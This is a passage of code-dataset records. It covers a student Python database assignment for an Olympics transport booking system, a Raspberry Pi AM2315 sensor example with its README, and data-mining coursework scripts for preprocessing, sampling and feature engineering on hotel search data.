member_id = %s) AS event_count,\n (SELECT COUNT(*)\n FROM Booking\n WHERE booked_for = %s) AS num_bookings\"\"\"\n cur.execute(sql, [member_id])\n official_info = cur.fetchone()\n except:\n con.rollback()\n return None\n\n member_information = {\n 'favourite_role' : role_info[0],\n 'total_events' : official_info[0],\n 'bookings': official_info[1]\n }\n else:\n try:\n sql = \"\"\"SELECT COUNT(*)\n FROM Booking\n WHERE booked_by = %s;\"\"\"\n cur.execute(sql, [member_id])\n booked_by_count = cur.fetchone()\n except:\n con.rollback()\n return None\n\n\n # TODO get information for staff member\n # Staff = [number of bookings ]\n #member_information_db = [10]\n member_information = {'bookings': booked_by_count[0]}\n\n\n cur.close()\n con.close()\n #return user_data\n # Leave the return, this is being handled for marking/frontend.\n return {'accommodation': accommodation_details, 'member_details': member_information}\n\n#####################################################\n## Booking (make, get all, get details)\n#####################################################\n\n'''\nMake a booking for a member.\nOnly a staff type member should be able to do this ;)\nNote: `my_member_id` = Staff ID (bookedby)\n `for_member` = member id that you are booking for\n'''\ndef make_booking(my_member_id, for_member, vehicle, date, hour, start_destination, end_destination):\n\n con = database_connect()\n if (con is None):\n return None\n\n cur = con.cursor()\n\n try:\n\n con.tpc_begin('booking')\n\n sql = \"\"\"SELECT member_id\n FROM Staff\n WHERE member_id = %s;\"\"\"\n cur.execute(sql, [my_member_id])\n\n if (cur.rowcount != 1):\n return False\n\n sql = \"\"\"SELECT capacity, nbooked, journey_id\n FROM Vehicle JOIN Journey USING (vehicle_code)\n WHERE vehicle_code = %s\n AND to_place = %s\n AND from_place = %s\n AND depart_time = '%s' || '%s';\"\"\"\n cur.execute(sql, (vehicle, start_destination, end_destination, date, hour))\n info = cur.fetchone()\n\n if (info is None):\n con.tpc_rollback('booking')\n return False\n elif (info[0] < info[1] + 1):\n con.tpc_rollback('booking')\n return False\n\n con.tpc_prepare()\n\n sql = \"\"\"INSERT INTO Booking VALUES (%s, %s, CURRENT_TIMESTAMP, %s);\"\"\"\n cur.execute(sql, (for_member, my_member_id, info[2]))\n\n sql = \"\"\"UPDATE Journey SET nbooked = nbooked + 1 WHERE journey_id = %s;\"\"\"\n cur.execute(sql, [info[2]])\n\n con.tpc_commit('booking')\n\n except:\n con.rollback()\n return False\n\n cur.close()\n con.close()\n\n\n # TODO - make a booking\n # Insert a new booking\n # Only a staff member should be able to do this!!\n # Make sure to check for:\n # - If booking > capacity\n # - Check the booking exists for that time/place from/to.\n # - Update nbooked\n # - Etc.\n # return False if booking was unsuccessful :)\n # We want to make sure we check this thoroughly\n # MUST BE A TRANSACTION ;)\n return True\n\n'''\nList all the bookings for a member\n'''\ndef all_bookings(member_id):\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT vehicle_code, date(depart_time), \"time\"(depart_time), to_place, from_place\n FROM Journey JOIN Booking USING (journey_id)\n WHERE booked_for = %s;\"\"\"\n cur.execute(sql, [member_id])\n bookings_db = cur.fetchall()\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n # TODO - fix up the bookings_db information\n # Get all the bookings for this member's ID\n # You might need to join a few things ;)\n # It will be a list of lists - e.g. your rows\n\n # Format:\n # [\n # [ vehicle, startday, starttime, to, from ],\n # ...\n # ]\n\n bookings = [{\n 'vehicle': row[0],\n 'start_day': row[1],\n 'start_time': row[2],\n 'to': row[3],\n 'from': row[4]\n } for row in bookings_db]\n\n return bookings\n\n'''\nList all the bookings for a member on a certain day\n'''\ndef day_bookings(member_id, day):\n\n con = database_connect()\n if (con is None):\n return None\n\n cur = con.cursor()\n\n try:\n\n sql = \"\"\"SELECT vehicle_code, \"time\"(depart_time), date(depart_time), to_place, from_place\n FROM Journey JOIN Booking USING (journey_id)\n WHERE startday = %s\n AND booked_for = %s;\"\"\"\n cur.execute(sql, (day, member_id))\n bookings_db = cur.fetchall()\n\n except:\n con.rollback()\n return False\n\n cur.close()\n con.close()\n\n # TODO - fix up the bookings_db information\n # Get bookings for the member id for just one day\n # You might need to join a few things ;)\n # It will be a list of lists - e.g. your rows\n\n # Format:\n # [\n # [ vehicle, startday, starttime, to, from ],\n # ...\n # ]\n\n bookings = [{\n 'vehicle': row[0],\n 'start_day': row[1],\n 'start_time': row[2],\n 'to': row[3],\n 'from': row[4]\n } for row in bookings_db]\n\n return bookings\n\n\n'''\nGet the booking information for a specific booking\n'''\ndef get_booking(b_date, b_hour, vehicle, from_place, to_place, member_id):\n\n # TODO - fix up the row to get booking information\n # Get the information about a certain booking, including who booked etc.\n # It will include more detailed information\n\n # Format:\n # [vehicle, startday, starttime, to, from, booked_by (name of person), when booked]\n # row = ['TR870R', '21/12/2020', '0600', 'SIT', 'Wentworth', 'Mike', '21/12/2012']\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT vehicle_code, date(depart_time), \"time\"(depart_time), to_place, from_place, M.given_names, date(when_booked)\n FROM Journey JOIN Booking USING (journey_id)\n JOIN Member M ON (booked_by=M.member_id)\n\t\t JOIN Member A ON (booked_for=A.member_id)\n WHERE date(depart_time) = %s AND \"time\"(depart_time) = %s AND vehicle_code = %s AND from_place = %s AND to_place = %s AND A.member_id = %s;\"\"\"\n\n cur.execute(sql, (b_date, b_hour, vehicle, from_place, to_place, member_id))\n booking_db = cur.fetchone()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n booking = {\n 'vehicle': booking_db[0],\n 'start_day': booking_db[1],\n 'start_time': booking_db[2],\n 'to': booking_db[3],\n 'from': booking_db[4],\n 'booked_by': booking_db[5],\n 'whenbooked': booking_db[6]\n }\n\n return booking\n\n#####################################################\n## Journeys\n#####################################################\n\n'''\nList all the journeys between two places.\n'''\ndef all_journeys(from_place, to_place):\n\n con = database_connect()\n if (con is None):\n return None\n\n cur = con.cursor()\n\n try:\n sql = \"\"\"WITH RECURSIVE Connection AS (\n SELECT vehicle_code, date(depart_time), \"time\"(depart_time), to_place, from_place, nbooked, capacity\n FROM Journey JOIN Vehicle USING (vehicle_code)\n WHERE from_place = %s AND to_place = %s\n\n UNION\n\n SELECT V.vehicle_code, date(Z.depart_time), \"time\"(Z.depart_time), Z.to_place, Z.from_place, Z.nbooked, V.capacity\n FROM Journey Z JOIN Vehicle V USING (vehicle_code)\n\t\t JOIN Connection ON (Z.from_place = Connection.from_place) AND (Z.to_place = Connection.to_place)\n )\n SELECT *\n FROM Connection;\"\"\"\n\n cur.execute(sql, (from_place, to_place))\n journeys_db = cur.fetchall()\n\n except:\n con.rollback()\n return False\n\n cur.close()\n con.close()\n\n # TODO - get a list of all journeys between two places!\n # List all the journeys between two locations.\n # Should be chronologically ordered\n # It is a list of lists\n\n # Format:\n # [\n # [ vehicle, day, time, to, from, nbooked, vehicle_capacity],\n # ...\n # ]\n\n journeys = [{\n 'vehicle': row[0],\n 'start_day': row[1],\n 'start_time': row[2],\n 'to' : row[3],\n 'from' : row[4],\n 'booked' : row[5],\n 'capacity' : row[6]\n } for row in journeys_db]\n\n return journeys\n\n\n'''\nGet all of the journeys for a given day, from and to a selected place.\n'''\ndef get_day_journeys(from_place, to_place, journey_date):\n\n # TODO - update the journeys_db variable to get information from the database about this journey!\n # List all the journeys between two locations.\n # Should be chronologically ordered\n # It is a list of lists\n\n # Format:\n # [\n # [ vehicle, day, time, to, from, nbooked, vehicle_capacity],\n # ...\n # ]\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT vehicle_code, date(depart_time), \"time\"(depart_time), to_place, from_place, capacity\n FROM Journey JOIN Vehicle USING (vehicle_code)\n WHERE from_place = %s AND to_place = %s AND date(depart_time) = %s\n ORDER BY depart_time;\"\"\"\n\n cur.execute(sql, (from_place, to_place, journey_date))\n journeys_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n journeys = [{\n 'vehicle': row[0],\n 'start_day': row[1],\n 'start_time': row[2],\n 'to': row[3],\n 'from': row[4]\n } for row in journeys_db]\n\n return journeys\n\n\n\n#####################################################\n## Events\n#####################################################\n\n'''\nList all the events running in the olympics\n'''\ndef all_events():\n\n # TODO - update the events_db to get all events\n # Get all the events that are running.\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # It is a list of lists\n # Chronologically order them by start\n\n # Format:\n # [\n # [name, start, sport, venue_name]\n # ]\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT event_name, \"time\"(event_start), sport_name, sport_venue, event_gender, event_id\n FROM Event JOIN Sport USING (sport_id)\n ORDER BY event_start;\"\"\"\n\n cur.execute(sql)\n events_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n # events_db = [\n # ['200M Freestyle', '0800', 'Swimming', 'Olympic Swimming Pools', 'M', '123'],\n # ['1km Women\\'s Cycle', '1800', 'Cycling', 'Velodrome', 'W', '001']\n # ]\n\n events = [{\n 'name': row[0],\n 'start': row[1],\n 'sport': row[2],\n 'venue': row[3],\n 'gender': row[4],\n 'event_id': row[5]\n } for row in events_db]\n\n return events\n\n\n'''\nGet all the events for a certain sport - list it in order of start\n'''\ndef all_events_sport(sportname):\n\n # TODO - update the events_db to get all events for a particular sport\n # Get all events for sport name.\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # It is a list of lists\n # Chronologically order them by start\n\n # Format:\n # [\n # [name, start, sport, venue_name]\n # ]\n\n #events_db = [\n # ['1km Women\\'s Cycle', '1800', 'Cycling', 'Velodrome'],\n # ['1km Men\\'s Cycle', '1920', 'Cycling', 'Velodrome']\n #]\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT event_name, \"time\"(event_start), sport_name, sport_venue\n FROM Event JOIN Sport USING (sport_id)\n WHERE sport_name = %s\n ORDER BY event_start;\"\"\"\n\n cur.execute(sql, [sportname])\n events_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n\n\n events = [{\n 'name': row[0],\n 'start': row[1],\n 'sport': row[2],\n 'venue': row[3],\n } for row in events_db]\n\n return events\n\n'''\nGet all of the events a certain member is participating in.\n'''\ndef get_events_for_member(member_id): #won't be explicitly tested\n\n # TODO - update the events_db variable to pull from the database\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # It is a list of lists\n # Chronologically order them by start\n\n # Format:\n # [\n # [name, start, sport, venue_name]\n # ]\n\n #events_db = [\n # ['1km Women\\'s Cycle', '1800', 'Cycling', 'Velodrome', 'W'],\n # ['1km Men\\'s Cycle', '1920', 'Cycling', 'Velodrome', 'X']\n\n #]\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"(SELECT DISTINCT event_name, \"time\"(event_start), sport_name, sport_venue, COALESCE(event_gender,'X') AS event_gender\n FROM Event JOIN Sport USING (sport_id)\n\t JOIN TeamMember USING (event_id)\n WHERE athlete_id = %s)\n UNION\n (SELECT DISTINCT event_name, \"time\"(event_start), sport_name, sport_venue, COALESCE(event_gender,'X') AS event_gender\n FROM Event JOIN Sport USING (sport_id)\n\t JOIN Participates USING (event_id)\n WHERE athlete_id = %s);\"\"\"\n cur.execute(sql, [member_id])\n events_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n events = [{\n 'name': row[0],\n 'start': row[1],\n 'sport': row[2],\n 'venue': row[3],\n 'gender': row[4]\n } for row in events_db]\n\n return events\n\n'''\nGet event information for a certain event\n'''\ndef event_details(event_id):\n # TODO - update the event_db to get that particular event\n # Get all events for sport name.\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # It is a list of lists\n # Chronologically order them by start\n\n # Format:\n # [name, start, sport, venue_name]\n\n # event_db = ['1km Women\\'s Cycle', '1800', 'Cycling', 'Velodrome']\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT event_name, \"time\"(event_start), sport_name, sport_venue, event_gender\n FROM Event JOIN Sport USING (sport_id)\n WHERE event_id = %s\n ORDER BY event_start;\"\"\"\n cur.execute(sql, [event_id])\n events_db = cur.fetchone()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n event = {\n 'name' : events_db[0],\n 'start': events_db[1],\n 'sport': events_db[2],\n 'venue': events_db[3],\n 'gender': events_db[4]\n }\n\n return event\n\n\n\n#####################################################\n## Results\n#####################################################\n\n'''\nGet the results for a given event.\n'''\ndef get_results_for_event(event_id):\n\n # TODO - update the results_db to get information from the database!\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # This should return a list of who participated and the results.\n\n # This is a list of lists.\n # Order by ranking of medal, then by type (e.g. points/time/etc.)\n\n # Format:\n # [\n # [member_id, result, medal],\n # ...\n # ]\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT event_id\n FROM IndividualEvent\n WHERE event_id = %s;\"\"\"\n cur.execute(sql, [event_id])\n\n if (cur.rowcount == 1):\n sql = \"\"\"SELECT athlete_id, COALESCE(medal,'')\n FROM Participates JOIN Member ON (athlete_id = member_id)\n WHERE event_id = %s\n ORDER BY\n CASE WHEN medal = 'G' THEN 0\n WHEN medal = 'S' THEN 1\n WHEN medal = 'B' THEN 2\n ELSE 3\n END ASC, family_name, given_names;\"\"\"\n cur.execute(sql, [event_id])\n results_db = cur.fetchall()\n else:\n sql = \"\"\"SELECT athlete_id, COALESCE(medal,'')\n FROM Team JOIN TeamMember USING (event_id, team_name)\n JOIN Member ON (athlete_id = member_id)\n WHERE event_id = %s\n ORDER BY\n CASE WHEN medal = 'G' THEN 0\n WHEN medal = 'S' THEN 1\n WHEN medal = 'B' THEN 2\n ELSE 3\n END ASC, family_name, given_names;\"\"\"\n cur.execute(sql, [event_id])\n results_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n #results_db = [\n # ['1234567890', 'Gold'],\n # ['8761287368', 'Silver'],\n # ['1638712633', 'Bronze'],\n # ['5873287436', ''],\n # ['6328743234', '']\n #]\n\n results =[{\n 'member_id': row[0],\n 'medal': row[1]\n } for row in results_db]\n\n return results\n\n'''\nGet all the officials that participated, and their positions.\n'''\ndef get_all_officials(event_name):\n # TODO\n # Return the data (NOTE: look at the information, requires more than a simple select. NOTE ALSO: ordering of columns)\n # This should return a list of who participated and their role.\n\n # This is a list of lists.\n\n # [\n # [member_id, role],\n # ...\n # ]\n\n\n con = database_connect()\n if (con is None):\n return None\n cur = con.cursor()\n\n try:\n sql = \"\"\"SELECT member_id, role\n FROM RunsEvent\n WHERE event_id = %s;\"\"\"\n\n cur.execute(sql, [event_id])\n officials_db = cur.fetchall()\n\n except:\n con.rollback()\n return None\n cur.close()\n con.close()\n\n\n officials = [{\n 'member_id': row[0],\n 'role': row[1]\n } for row in officials_db]\n\n\n return officials\n\n# =================================================================\n# =================================================================\n\n# FOR MARKING PURPOSES ONLY\n# DO NOT CHANGE\n\ndef to_json(fn_name, ret_val):\n return {'function': fn_name, 'res': json.dumps(ret_val)}\n\n# =================================================================\n# =================================================================\n" } ]
1
OpenAgInitiative/openag_am2315_python
https://github.com/OpenAgInitiative/openag_am2315_python
2f66eca27578741f56feb35baaa25ed5d4218b1d
eac3ef8407d515aa5e320f5297608e385bc6172e
1c9044ee2ee9ae8653217b2b162eff99a2d2e35a
refs/heads/master
2017-07-15T22:01:25.063835
2017-02-23T20:45:10
2017-02-23T20:45:10
82,968,534
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5736842155456543, "alphanum_fraction": 0.6526315808296204, "avg_line_length": 18, "blob_id": "167fa19b32317c24350b9601f86736e393d27a6a", "content_id": "1daa68b066475029f0289a8099f0e6b09c982be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 190, "license_type": "no_license", "max_line_length": 35, "num_lines": 10, "path": "/example.py", "repo_name": "OpenAgInitiative/openag_am2315_python", "src_encoding": "UTF-8", "text": "from am2315 import am2315\nimport time\n\nsensor = am2315()\n\nwhile True:\n data = sensor.getTempHumid()\n print(\"Temperature: \", data[0])\n print(\"Humidity: \", data[1])\n time.sleep(1)\n" }, { "alpha_fraction": 0.2973484992980957, "alphanum_fraction": 0.35227271914482117, "avg_line_length": 32.70212936401367, "blob_id": "abec5839abf86164fdef4257a9f91226316e95fd", "content_id": "b6381ede9273bed0ff9019d6acb73a7a7f685d1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1584, "license_type": "no_license", "max_line_length": 119, "num_lines": 47, "path": "/README.md", "repo_name": "OpenAgInitiative/openag_am2315_python", "src_encoding": "UTF-8", "text": "Connect temperature and humidity sensor to i2c pins on raspberry pi\n\nVerify device is properly connected by running:\n```\nsudo i2cdetect -y 1\n```\nThis device needs to be pinged before turning on, so the **first time** running the command, the output will look like:\n```\n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n00: -- -- -- -- -- -- -- -- -- -- -- -- -- \n10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n70: -- -- -- -- -- -- -- -- \n```\nNow that the device is awake, run the command again within a few seconds, the output will look like:\n```\n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n00: -- -- -- -- -- -- -- -- -- -- -- -- -- \n10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n50: -- -- -- -- -- -- -- -- -- -- -- -- 5c -- -- -- \n60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- \n70: -- -- -- -- -- -- -- -- \n```\nRun example.py, temp & humidity readouts will print to screen\n```\npython3 example.py\n```\nShould see an output of:\n```\nTemperature: 22.5\nHumidity: 48.7\nTemperature: 22.5\nHumidity: 48.8\nTemperature: 22.5\nHumidity: 48.8\nTemperature: 22.5\nHumidity: 48.8\nTemperature: 22.5\nHumidity: 48.8\n```\n" } ]
2
kimdebie/data-mining-techniques
https://github.com/kimdebie/data-mining-techniques
b1b89b61c13bd24f5fdf589358b66e5b8fa9e28b
147d3c4381b2f86fb208f2999f39bb2597978322
0168b3e5453bc1e62d46e8d466badd2b0116b578
refs/heads/master
2020-05-06T14:09:20.951533
2019-05-22T10:00:56
2019-05-22T10:00:56
180,175,346
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6341853141784668, "alphanum_fraction": 0.6677316427230835, "avg_line_length": 30.299999237060547, "blob_id": "67a5bc8228f31167340c268218ec1cacb2e1e399", "content_id": "a8af7fe84a8fdcb17b65827b98f0983d474c21c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "no_license", "max_line_length": 91, "num_lines": 20, "path": "/Assignment1/code/plot.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\ndef plot_hist(data):\n\n cols = cols_to_keep = [\"mood\", \"sun\", \\\n \"rain\", \"max_temp\", \"total_appuse\", \"activity\", \"circumplex.arousal\", \\\n \"circumplex.valence\"]\n\n fig = data.hist(column=cols, bins=100)\n [x.title.set_size(10) for x in fig.ravel()]\n plt.suptitle(\"Histogram distribution per variable\", fontsize = 14)\n plt.subplots_adjust(left=0.125, right=0.9, bottom=0.1, top=0.9, wspace=0.6, hspace=0.6)\n plt.savefig('results/histograms.png')\n\n\ndata = pd.read_csv(\"with_features.csv\")\nplot_hist(data)\n" }, { "alpha_fraction": 0.6758739948272705, "alphanum_fraction": 0.6832110285758972, "avg_line_length": 32.5797119140625, "blob_id": "83f4c97dcea75a18f2547aa4d4e88c690aa35168", "content_id": "c3a814d2c46ea67f40bf9f77653f588576c37c68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2317, "license_type": "no_license", "max_line_length": 91, "num_lines": 69, "path": "/Assignment2/code/process.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\n# from sklearn.model_selection import train_test_split\n\ndef split_train_test(df, train_size=0.8, test_size=0.2):\n\n '''Randomly split data in training and test set.'''\n\n msk = np.random.rand(len(df)) < 0.80\n train_set = df[msk]\n test_set = df[~msk]\n # train_set, test_set = train_test_split(df, test_size=test_size)\n\n # write test set to file\n test_set.to_csv('data/testing_set.csv')\n train_set.to_csv('data/full_training_set.csv')\n\n return train_set, test_set\n\ndef downsample(df):\n\n '''Downsample such that classes are balanced.'''\n\n print(df['booking_bool'].dtypes)\n # separate booked, clicked and neither\n booked = df.loc[df['booking_bool'] == float(1)]\n\n clicked = df[(df.click_bool == float(1)) & (df.booking_bool == float(0))]\n neither = df[(df.click_bool == float(0)) & (df.booking_bool == float(0))]\n\n # determine which subset has the lowest number of observations\n minimum_observations = min([len(booked.index), len(clicked.index), len(neither.index)])\n\n # sample the minimum number of observations from each category\n booked_sampled = booked.sample(n=minimum_observations)\n clicked_sampled = clicked.sample(n=minimum_observations)\n neither_sampled = neither.sample(n=minimum_observations)\n\n # combine into one df again\n downsampled_df = pd.concat([booked_sampled, clicked_sampled, neither_sampled])\n\n # write to csv\n downsampled_df.to_csv('data/downsampled_training_set.csv')\n\n return downsampled_df\n\ndef upsample(df):\n\n '''Upsample such that classes are balanced.'''\n\n # separate booked, clicked and neither\n booked = df[df['booking_bool'] == 1]\n clicked = df[(df.click_bool == 1) & (df.booking_bool == 0)]\n neither = df[(df.click_bool == 0) & (df.booking_bool == 0)]\n\n # subset neither has the highest number of observations\n maximum_observations = len(neither.index)\n\n # take samples of maximum size\n booked_sampled = booked.sample(n=maximum_observations, replace=True)\n clicked_sampled = clicked.sample(n=maximum_observations, replace=True)\n\n # combine into one df again\n downsampled_df = pd.concat([booked_sampled, clicked_sampled, neither])\n\n # write to csv\n downsampled_df.to_csv('data/upsampled_training_set.csv')\n\n return downsampled_df\n" }, { "alpha_fraction": 0.6207584738731384, "alphanum_fraction": 0.6377245783805847, "avg_line_length": 21.795454025268555, "blob_id": "3e800082a311de0f80dc159c12495a5616e28eed", "content_id": "a8733c87752515f93abfa1eb63d6039f3448156d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1002, "license_type": "no_license", "max_line_length": 86, "num_lines": 44, "path": "/Assignment2/code/example.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "from lamdamart import LambdaMART\nimport numpy as np\n\n\ndef get_data(file_loc):\n\twith open(file_loc, 'r') as f:\n\t\tdata = []\n\t\ti = 0\n\t\tfor line in f:\n\t\t\tnew_arr = []\n\t\t\tarr = line.split(' #')[0].split()\n\t\t\t''' Get the score and query id '''\n\t\t\tscore = arr[0]\n\t\t\tq_id = arr[1].split(':')[1]\n\t\t\tnew_arr.append(int(score))\n\t\t\tnew_arr.append(int(q_id))\n\t\t\tarr = arr[2:]\n\t\t\t''' Extract each feature from the feature vector '''\n\t\t\tfor el in arr:\n\t\t\t\tnew_arr.append(float(el.split(':')[1]))\n\t\t\tdata.append(new_arr)\n\t\t\ti += 1\n\t\t\tif i == 100:\n\t\t\t\tbreak;\n\tf.close()\n\treturn np.array(data)\n\ndef main():\n\ttraining_data = get_data('code/train.txt')\n\tprint(training_data)\n\ttest_data = get_data('code/test.txt')\n\n\tmodel = LambdaMART(training_data=training_data, number_of_trees=1, learning_rate=0.1)\n\tmodel.fit()\n\tmodel.save('example_model')\n\n\n\taverage_ndcg, predicted_scores = model.validate(test_data, 10)\n\tpredicted_scores = model.predict(test_data[:,1:])\n\tprint(\"Predicted Scores\")\n\tprint(predicted_scores)\n\n\nmain()" }, { "alpha_fraction": 0.5863259434700012, "alphanum_fraction": 0.5925414562225342, "avg_line_length": 37.105262756347656, "blob_id": "8eda304f52e332046dfe92d930b4987aeb4c6688", "content_id": "c2764b8a12bd22228a98572a449d197cb83398a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1448, "license_type": "no_license", "max_line_length": 106, "num_lines": 38, "path": "/Assignment2/code/correlations.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import seaborn as sns\nimport pandas as pd\nfrom scipy.stats import pearsonr\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\ndef show_correlations(df):\n correlations = calculate_pvalues(df)\n\n correlations = correlations.astype(float)\n # correlations = correlations.drop(['srch_id', 'site_id', 'prop_id', 'srch_destination_id', \\\n # 'srch_room_count', 'relevance', 'visitor_location_country_id', 'position', \\\n # 'promotion_flag'], axis=1)\n correlations = correlations.drop(['srch_id', 'site_id', 'prop_id', 'srch_destination_id', \\\n 'srch_room_count', 'relevance', 'position', 'click_bool', 'booking_bool'], axis=0)\n\n plt.figure()\n sns.heatmap(correlations[['click_bool', 'booking_bool', 'relevance']], cmap='coolwarm', center=0.2)\n plt.show()\n\ndef calculate_pvalues(df):\n df = df.dropna()._get_numeric_data()\n dfcols = pd.DataFrame(columns=df.columns)\n pvalues = dfcols.transpose().join(dfcols, how='outer')\n for r in df.columns:\n for c in df.columns:\n p_value = round(pearsonr(df[r], df[c])[1], 4)\n pvalues[r][c] = p_value\n\n # for reading purposes, significant results are marked with an asterix\n # if p_value <= 0.05:\n # pvalues[r][c] = str(p_value) + '*'\n #\n # else:\n # pvalues[r][c] = p_value\n\n return pvalues\n" }, { "alpha_fraction": 0.6036232113838196, "alphanum_fraction": 0.6123188138008118, "avg_line_length": 25.538461685180664, "blob_id": "58ee7e4ac126ad5131c27bcdbb83b3074920fd73", "content_id": "0a23a880cb41750b1802907eadaa87917cba1f49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1380, "license_type": "no_license", "max_line_length": 83, "num_lines": 52, "path": "/Assignment2/code/features.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import numpy as np\n\ndef create_competitor_features(df):\n\n '''Create features for the competitor columns.'''\n\n\n # instead of absolute difference with competitor, specify this to difference\n # with magnitude: is Expedia cheaper or more expensive?\n for i in range(1, 9):\n\n ratecol = \"comp\" + str(i) + \"_rate\"\n pricecol = \"comp\" + str(i) + \"_rate_percent_diff\"\n magncol = \"comp\" + str(i) + \"_rate_percent_diff_mag\"\n\n df[magncol] = df[ratecol] * df[pricecol]\n\n return df\n\ndef other_features(df):\n\n '''Create more features.'''\n\n # historical price of property minus current price per night\n df['ump'] = np.exp(df['prop_log_historical_price']) - df['price_usd']\n\n # total number of passengers\n df['tot_passengers'] = df['srch_adults_count'] + df['srch_children_count']\n\n # price per person\n df['price_pp'] = df['price_usd'] * df['srch_room_count'] / df['tot_passengers']\n\n return df\n\ndef relevance(df):\n if df['booking_bool'] == True:\n return 5\n elif df['click_bool'] == True:\n return 1\n else:\n return 0\n\ndef relevance_score(df):\n\n '''Add relevance score based on clicking and booking.'''\n\n df['relevance'] = 0 #df.apply(relevance, axis=1)\n df.loc[df['booking_bool'] == 1, 'relevance'] = 5\n df.loc[(df.click_bool == 1) & (df.booking_bool == 0), 'relevance'] = 1\n\n\n return df\n" }, { "alpha_fraction": 0.6324869990348816, "alphanum_fraction": 0.6427409052848816, "avg_line_length": 28.68115997314453, "blob_id": "7f0eae9366f147b10393fd0a62a59a717bc4ca05", "content_id": "5ac1ff8a268e45d9846af82738d36ea90f998c74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6144, "license_type": "no_license", "max_line_length": 100, "num_lines": 207, "path": "/Assignment2/code/eda.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\n# import matplotlib\n# matplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n# import seaborn as sns\nfrom scipy import stats\n# sns.set(style=\"darkgrid\")\n\ndef missing_values(df):\n\n '''Plot and handle missing values.'''\n\n # Plot the columns with missing values\n missing_values = df.isna().sum().sort_values(ascending=False)[df.isna().sum().sort_values() > 0]\n fig, ax = plt.subplots()\n missing_values.plot.bar()\n\n fig.tight_layout()\n plt.title(\"Count of missing values per variable\")\n plt.ylabel(\"Number of values missing\")\n # plt.show()\n\n # remove variables containing too many NAs? Something else?\n # Remove columns if more than 60% is NA, alternative: replace with mean values\n df = df.dropna(axis=1, thresh = int(0.60*df.shape[0]))\n # # Next remove observations (rows) that contain na's\n df = df.dropna(axis=0, how='any')\n\n return df\n\ndef remove_outliers(df):\n\n '''Replace outliers with NaN.'''\n\n # only remove outliers from rows with floats\n df2 = df.select_dtypes(include='float64')\n\n for col in df2.columns:\n\n print(col)\n df[col] = np_outliers(df[col].values)\n\n return df\n\ndef np_outliers(array):\n\n '''Function that uses numpy directly rather than pandas to remove outliers for speed'''\n\n upper_quantile = np.nanpercentile(array, 95)\n lower_quantile = np.nanpercentile(array, 5)\n\n # outliers are more than two standard deviations away from the mean\n outliers = (array > upper_quantile) | (array < lower_quantile)\n\n # replace 